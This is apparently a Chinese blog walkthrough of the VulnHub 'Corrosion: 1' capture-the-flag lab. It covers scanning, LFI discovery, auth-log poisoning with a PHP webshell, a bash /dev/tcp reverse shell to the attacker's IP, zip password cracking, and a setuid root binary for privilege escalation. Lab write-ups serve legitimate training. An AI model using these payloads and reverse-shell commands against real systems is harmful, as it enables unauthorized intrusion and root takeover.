Corrosion: 1靶场渗透

Corrosion: 1

来自 < Corrosion: 1 ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.152

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.152

4,访问80端口开放的http服务

扫描枚举网站子目录

gobuster dir -u http://192.168.23.152/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip

http://192.168.23.152/tasks/

http://192.168.23.152/tasks/tasks_todo.txt

需要完成的任务

  1. 修改身份验证日志(auth log)的权限
  2. 将 22 号端口修改为 7672 号端口
  3. 搭建 phpMyAdmin(PHP 数据库管理工具)

http://192.168.23.152/blog-post/

5,再扫描其二级目录

gobuster dir -u http://192.168.23.152/blog-post/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip

http://192.168.23.152/blog-post/archives/

存在一个空白的PHP网页

http://192.168.23.152/blog-post/archives/randylogs.php

6,根据提示推测要去污染ssh日志文件,这个网页应该会存在本地文件包含漏洞,目前不知道网页传递的参数是什么,需要进行模糊测试

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u 'http://192.168.23.152/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' -fs 0

传递的参数是file,验证一下试试

http://192.168.23.152/blog-post/archives/randylogs.php?file=/etc/passwd

7,测试包含ssh日志文件,这是getshell的关键点

http://192.168.23.152/blog-post/archives/randylogs.php?file=/var/log/auth.log

现在需要使用一句话木马污染这个文件,那么只要登录用户名是一句话木马即可

ssh '<?php system($_REQUEST["cmd"]);?>'@192.168.23.152

使用MobaXterm试试

登录失败就会把木马带入日志当中

成功写入木马,构成命令执行漏洞

http://192.168.23.152/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=id

8,直接通过命令执行反弹shell

http://192.168.23.152/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=echo%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.23.128%2F4444%200%3E%261%22%20%7C%20bash

反弹 Shell 的核心机制

echo "bash -i >& /dev/tcp/192.168.23.128/4444 0>&1" | bash

  • 这里的 cmd= 参数让服务器执行了该命令:
    • echo ... 输出一段纯文本:bash -i >& /dev/tcp/192.168.23.128/4444 0>&1
    • 管道 | bash 将这段文本交给 bash 去执行。

这条命令会:

  1. 使用 Bash 打开一个 TCP 客户端连接到目标 IP:192.168.23.128, 端口 4444。
  2. 启动一个交互式 shell (bash -i)。
  3. 将标准输入 (0)、标准输出和标准错误都通过 TCP 重定向(0>&1, >&)发送到攻击者主机上。
  4. 这样攻击者就拿到了一个远程 Shell:一个反向 Shell(Reverse Shell)。

安全含义

这种机制允许远端执行命令并获得交互式 Shell,具备极高风险:

  • 若 randylogs.php 存在类似功能(接受 cmd 参数并执行),就可能被利用来远程执行任意命令并获得服务器控制权。
  • 特别是在敏感日志(如 /var/log/auth.log)和可执行命令参数中,攻击面非常大。

与此同时kali监听4444端口

成功getshell

9,信息收集一下

查看一下权限提升的可行性

sudo -l

find / -perm -u=s -type f 2>/dev/null

都利用不了,再看那些敏感目录

10,在/var/backups/文件夹下发现一些压缩包,在靶场搭建一个简单的http服务供攻击机下载文件

python3 -m http.server

wget http://192.168.23.152:8000/user_backup.zip

尝试解压,但是需要密码,直接暴力破解

gunzip /usr/share/wordlists/rockyou.txt.gz

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip

使用密码!randybaby成功解压压缩包

11,读取my_password文件,得到密码randylovesgoldfish1998

前面知道存在一个用户randy,推测是这个用户的账户密码,ssh登录

ssh randy@192.168.23.152

登录成功,依旧进行提权的信息收集

能够以root权限执行/home/randy/tools/easysysinfo文件,先看看这个文件是什么

写一个权限提升的c代码去替换easysysinfo文件,然后编译即可

|------------------------------------------------------------------------------------------------------|
| #include <unistd.h> #include <stdlib.h> void main() { setuid(0); setgid(0); system("bash -i"); } |

nano easysysinfo.c

rm -rf easysysinfo

gcc easysysinfo.c -o easysysinfo

sudo ./easysysinfo

成功提权变成root用户,得到flag

相关推荐
sakiko_18 小时前
UIKit学习笔记5-使用UITableView制作聊天页面
笔记·学习·swift·uikit
汇智信科18 小时前
训练安全管理系统:赋能军消装备训练,实现全流程智能化管控
安全·训练安全管理·装备训练智能化·军事训练保障·消防训练管理
汤愈韬18 小时前
三种常用 NAT 的经典案例
网络协议·网络安全·security
Alice-YUE19 小时前
【js高频八股】防抖与节流
开发语言·前端·javascript·笔记·学习·ecmascript
汤愈韬19 小时前
NAT Server 与目的Nat
网络·网络协议·网络安全·security
小陈phd20 小时前
TensorRT 入门完全指南(一)——从核心定义到生态工具全解析
人工智能·笔记
是上好佳佳佳呀20 小时前
【前端(十一)】JavaScript 语法基础笔记(多语言对比)
前端·javascript·笔记
handler0120 小时前
Linux 内核剖析:进程优先级、上下文切换与 O(1) 调度算法
linux·运维·c语言·开发语言·c++·笔记·算法
其实防守也摸鱼21 小时前
CTF密码学综合教学指南--第三章
开发语言·网络·python·安全·网络安全·密码学
其实防守也摸鱼21 小时前
CTF密码学综合教学指南--第四章
网络·笔记·安全·网络安全·密码学·ctf